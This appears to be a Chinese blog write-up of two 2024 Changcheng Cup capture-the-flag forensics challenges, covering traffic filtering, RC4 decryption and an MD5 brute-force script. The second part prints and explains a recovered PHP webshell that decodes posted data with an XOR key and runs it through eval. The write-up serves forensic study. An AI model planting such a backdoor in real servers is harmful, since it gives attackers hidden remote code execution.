2024_长城杯_漏洞探踪,流量解密/最安全的加密方式

漏洞探踪,流量解密

解题

(1):
先对第一阶段的oa.access.log进行过滤:
cat ./oa.access.log |awk '{print $1}'|sort -nr |uniq -c
image

得到的结果就几个,每个都试一下得到:192.168.30.234
(2):
第二阶段,先进行过滤:
http && http.request.method == "POST"
然后一个个看过去
image

得到提示RC4加密,这里的f.jpg是个上传的木马,内容如图:
image

image

发现从192.168.1.5下载了两个文件:
image
image
找到key
image
image

这个raw不知道是什么,但是里面字符串的结构和key有重合,可以发现根据key字符串可以分成三部分:
bdb8e21eace81d5fd21ca445ccb35071
5a76f6751576dbe1af49328aa1d2d2bea16ef62afa3a7c616d
bdb8e21eace81d5fd21ca445ccb35071

猜测是密文,RC4用key对其解密:
image
flag:{welcome to beijing}

瑞士军刀功能挺强大的。

最安全的加密方式

直接http过滤看一下包,就十几个包
image
直接看文件:
image
一个个查看,发现两个包异常:
image
image
导出查看,一个是php文件,一个是压缩包:
image
使用ai分析php代码:

1. 初始化


@session_start();
@set_time_limit(0);
@error_reporting(0);

    session_start():启动会话,允许使用会话变量。
    set_time_limit(0):设置脚本的最大执行时间为无限制。
    error_reporting(0):关闭错误报告,避免在页面上显示任何错误信息。

2. encode 函数


function encode($D, $K) {
    for ($i = 0; $i < strlen($D); $i++) {
        $c = $K[$i + 1 & 15];
        $D[$i] = $D[$i] ^ $c;
    }
    return $D;
}

    此函数用于对输入数据 $D 进行编码或加密,使用的密钥是 $K。
    通过逐个字符与密钥中的字符进行异或运算来实现加密。

3. 变量定义


$pass = '25ming@';
$payloadName = 'payload';
$key = '3c6e0b8a9c15224a';

    $pass:一个密码字符串。
    $payloadName:用于存储会话中有效负载的名称。
    $key:用于加密和解密的密钥。

4. 表单处理


if (isset($_POST[$pass])) {
    $data = encode(base64_decode($_POST[$pass]), $key);

    检查是否存在以 $pass 为键的 POST 请求。
    对 POST 数据进行 Base64 解码,然后使用 encode 函数进行解密。

5. 处理有效负载



if (isset($_SESSION[$payloadName])) {
    $payload = encode($_SESSION[$payloadName], $key);
    eval($payload);
    echo substr(md5($pass.$key), 0, 16);
    echo base64_encode(encode(@run($data), $key));
    echo substr(md5($pass.$key), 16);
} else {
    if (stripos($data, "getBasicsInfo") !== false) {
        $_SESSION[$payloadName] = encode($data, $key);
    }
}

    如果会话中已经存在 $payloadName 的数据:
        解码并执行存储的有效负载 (eval($payload))。
        然后输出与 $pass 和 $key 相关的 MD5 哈希的前后部分。
        执行 run($data) 并将结果进行编码。

    如果会话中不存在有效负载,并且解码后的 $data 包含 "getBasicsInfo" 字符串,则将其存储到会话中。

分析得出该php应该只是个木马文件,负责对传入的参数进行解码执行并加密返回。
分析加密文件,用php中的$pass = '25ming@';值发现刚刚好是密码,解压发现文件:
image
发现第一行字符串是字母f用md5加密后的字符串,猜测全为md5加密,用脚本爆破:

import hashlib

flag = ["8fa14cdd754f91cc6554c9e71929cce7",
    "2db95e8e1a9267b7a1188556b2013b33",
    "0cc175b9c0f1b6a831c399e269772661",
    "b2f5ff47436671b6e533d8dc3614845d",
    "f95b70fdc3088560732a5ac135644506",
    "b9ece18c950afbfa6b0fdbfa4ff731d3",
    "2510c39011c5be704182423e3a695e91",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "6f8f57715090da2632453988d9a1501b",
    "cfcd208495d565ef66e7dff9f98764da",
    "03c7c0ace395d80182db07ae2c30f034",
    "e358efa489f58062f10dd7316b65649e",
    "b14a7b8059d9c055954c92674ce60032",
    "c81e728d9d4c2f636f067f89cc14862c",
    "e1671797c52e15f763380b45e841ec32",
    "4a8a08f09d37b73795649038408b5f33",
    "4c614360da93c0a041b22e537de151eb",
    "4b43b0aee35624cd95b910189b3dc231",
    "e1671797c52e15f763380b45e841ec32",
    "b14a7b8059d9c055954c92674ce60032",
    "e1671797c52e15f763380b45e841ec32",
    "8d9c307cb7f3c4a32822a51922d1ceaa",
    "4a8a08f09d37b73795649038408b5f33",
    "4b43b0aee35624cd95b910189b3dc231",
    "57cec4137b614c87cb4e24a3d003a3e0",
    "83878c91171338902e0fe0fb97a8c47a",
    "e358efa489f58062f10dd7316b65649e",
    "865c0c0b4ab0e063e5caa3387c1a8741",
    "d95679752134a2d9eb61dbd7b91c4bcc",
    "7b8b965ad4bca0e41ab51de7b31363a1",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "9033e0e305f247c0c3c80d0c7848c8b3",
    "cbb184dd8e05c9709e5dcaedaa0495cf"
]
dic = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ_!&{}'

for f in flag:
    for a in dic:
        if hashlib.md5(a.encode('utf-8')).hexdigest() == f:
            print(a, end='')
            break

得到:
flag{The_m0st_2ecUre_eNcrYption!!!}

posted @ 2024-09-15 11:23  蓝尽红出  阅读(25)  评论(0编辑  收藏  举报